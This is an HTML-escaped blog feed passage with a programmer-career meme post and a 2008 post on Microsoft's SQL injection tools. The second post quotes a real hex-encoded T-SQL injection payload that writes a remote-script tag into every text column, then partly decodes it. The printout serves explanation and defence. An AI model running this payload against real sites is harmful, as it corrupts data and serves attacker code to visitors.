&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;What was your first language?&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;BASIC what else?&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;What was the first real program you wrote?&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;An online temp agency web application. This was one of these fubar dot com ideas, somebody threw some money at a company, they came to use and I started to work on this. They didn’t get additional funding and this went nowhere. As a matter of fact the first 3 websites I did never launched because of funding problems.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;What languages have you used since you started programming?&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&amp;nbsp;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;C, VB, JAVA, C#, T-SQL, ColdFusion, HTML, XML, JavaScript, COBOL, CICS, JCL, SMIL&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;What was your first professional programming gig?&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;This was in Silicon Alley during the dot com boom, we had lizards sleeping on monitors, and people would bring their cats to work. We had meetings on the roof of the building. The shop didn’t open till 10 AM; I had some fun times there.&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;If you knew then what you know now, would you have started programming?&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;Yes, the fun (or curse) of programming is that it changes so rapidly, you will never be bored.&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;If there is one thing you learned along the way that you would tell new developers, what would it be? &lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:11pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;Just when you think you know the product inside out and a new version comes out which takes twice as hard to master and eventually you will have to specialize. Also if you think that you will be done with learning after your first two years then you are mistaken. Once you get promoted you need to learn even more things. Another thing is that when you have a regular job and you go home you most likely won’t do anything related to the job. In programming it is not like that when you go home you have 600 unread &lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;items in you Google blog reader, you have 20 replies in twitter and FriendFeed is going crazy with the latest technews.&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;SPAN style="FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;What’s the most fun you’ve ever had … programming?&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Putting easter eggs in code&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="FONT-SIZE:12pt;mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;Who are you calling out?&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;I am calling out the following people I know from forums, blogs or because they are friends&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;A class="" href="http://www.alexcuse.com/BlogIndex.aspx"&gt;Alex Cuse&lt;o:p&gt;&lt;/o:p&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;A class="" href="http://itknowledgeexchange.techtarget.com/sql-server/"&gt;Denny Cherry&lt;o:p&gt;&lt;/o:p&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;A class="" href="http://blogs.conchango.com/jamiethomson/"&gt;Jamie Thomson&lt;o:p&gt;&lt;/o:p&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;A class="" href="http://squaredthoughts.blogspot.com/"&gt;Eric E&lt;o:p&gt;&lt;/o:p&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;A class="" href="http://weblogs.asp.net/marksmith/default.aspx"&gt;Mark Smith&lt;o:p&gt;&lt;/o:p&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;A class="" href="http://sqlblog.com/blogs/paul_nielsen/archive/2008/06/26/count-of-rows-within-five-minutes-of-first-instance.aspx"&gt;Paul Nielsen&lt;/A&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;FONT size=3&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="FONT-SIZE:10pt;mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;A class="" href="http://www.statisticsio.com/"&gt;Jason Massie&lt;o:p&gt;&lt;/o:p&gt;&lt;/A&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;BR style="mso-special-character:line-break;"&gt;&lt;BR style="mso-special-character:line-break;"&gt;&amp;nbsp;&lt;/P&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-ascii-font-family:Calibri;mso-hansi-font-family:Calibri;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=Victim Of The Software Development Meme&amp;amp;body=Seen on SQLblog.com: %0A%0A%09Victim Of The Software Development Meme%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx" target="_blank" title = "Email Victim Of The Software Development Meme"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx&amp;amp;title=Victim+Of+The+Software+Development+Meme" target="_blank" title = "Submit Victim Of The Software Development Meme to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx&amp;amp;phase=2" target="_blank" title = "Submit Victim Of The Software Development Meme to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx&amp;amp;title=Victim+Of+The+Software+Development+Meme" target="_blank" title = "Submit Victim Of The Software Development Meme to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx&amp;amp;title=Victim+Of+The+Software+Development+Meme" target="_blank" title = "Submit Victim Of The Software Development Meme to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx&amp;amp;title=Victim+Of+The+Software+Development+Meme&amp;amp;;top=1" target="_blank" title = "Add Victim Of The Software Development Meme to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7595" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="programming" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/programming/default.aspx" /><category term="meme" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/meme/default.aspx" /></entry><entry><title>Microsoft Releases Tools To Address SQL Injection Attacks</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/06/25/7491.aspx</id><published>2008-06-25T12:58:00Z</published><updated>2008-06-25T12:58:00Z</updated><content type="html">Remember the post by Aaron Bertrand titled &lt;A id=bp___v___ctl00_ctl00_bcr_r___postlist___EntryItems_ctl09_PostTitle href="http://sqlblog.com/blogs/aaron_bertrand/archive/2008/04/26/call-a-spade-a-spade.aspx"&gt;Call a spade a spade! (SQL injection, or IIS vulnerability?)&lt;/A&gt;? Microsoft has released 3 tools that deal with this SQL injection. 
&lt;P&gt;These three tools include &lt;A class=external-link href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx"&gt;&lt;FONT color=#0048c0&gt;HP Scrawlr &lt;/FONT&gt;&lt;/A&gt;, &lt;A class=external-link href="http://learn.iis.net/page.aspx/473/using-urlscan"&gt;&lt;FONT color=#0048c0&gt;UrlScan version 3.0 Beta &lt;/FONT&gt;&lt;/A&gt;, and &lt;A class=external-link href="http://support.microsoft.com/kb/954476"&gt;&lt;FONT color=#0048c0&gt;a SQL Source Code Analysis Tool&lt;/FONT&gt;&lt;/A&gt;. Microsoft further recommends following the best practices found within advisory &lt;A class=external-link href="http://www.microsoft.com/technet/security/advisory/954462.mspx"&gt;&lt;FONT color=#0048c0&gt;954462&lt;/FONT&gt;&lt;/A&gt;. &lt;/P&gt;
&lt;P&gt;Most of the sites affected had this submitted as part of the injection&amp;nbsp;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;SPAN style="COLOR:#3333ff;"&gt;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4&lt;/SPAN&gt;&lt;SPAN style="COLOR:#3333ff;"&gt;&amp;nbsp;C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S); &lt;/SPAN&gt;&lt;/P&gt;
&lt;P&gt;This is of course done so that you can't see the real SQL and then you can't check for&amp;nbsp;DROP, UPDATE and other DDL and DML commands&amp;nbsp;&lt;/P&gt;
&lt;P&gt;So what does this look like when you replace %20 with a space and exec with print?&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#0000ff&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;DECLARE&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;CURSOR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FOR&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;SELECT&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;name&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;name &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; sysobjects a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;syscolumns b &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;WHERE&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;id&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;id &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; a&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2&gt;'u'&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;AND&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT size=2&gt;b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;99 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;35 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;231 &lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;OR&lt;/FONT&gt;&lt;FONT size=2&gt; b&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;.&lt;/FONT&gt;&lt;FONT size=2&gt;xtype&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;167&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;OPEN&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;FETCH&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;NEXT&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;FROM&lt;/FONT&gt;&lt;FONT size=2&gt; Table_Cursor &lt;/FONT&gt;&lt;FONT color=#0000ff size=2&gt;INTO&lt;/FONT&gt;&lt;FONT size=2&gt; @T&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;,&lt;/FONT&gt;&lt;FONT size=2&gt;@C &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;WHILE&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;(&lt;/FONT&gt;&lt;FONT color=#ff00ff size=2&gt;@@FETCH_STATUS&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;=&lt;/FONT&gt;&lt;FONT size=2&gt;0&lt;/FONT&gt;&lt;FONT color=#808080 size=2&gt;)&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;FONT color=#0000ff size=2&gt;BEGIN&lt;/FONT&gt;&lt;FONT size=2&gt; &lt;/FONT&gt;&lt;/P&gt;
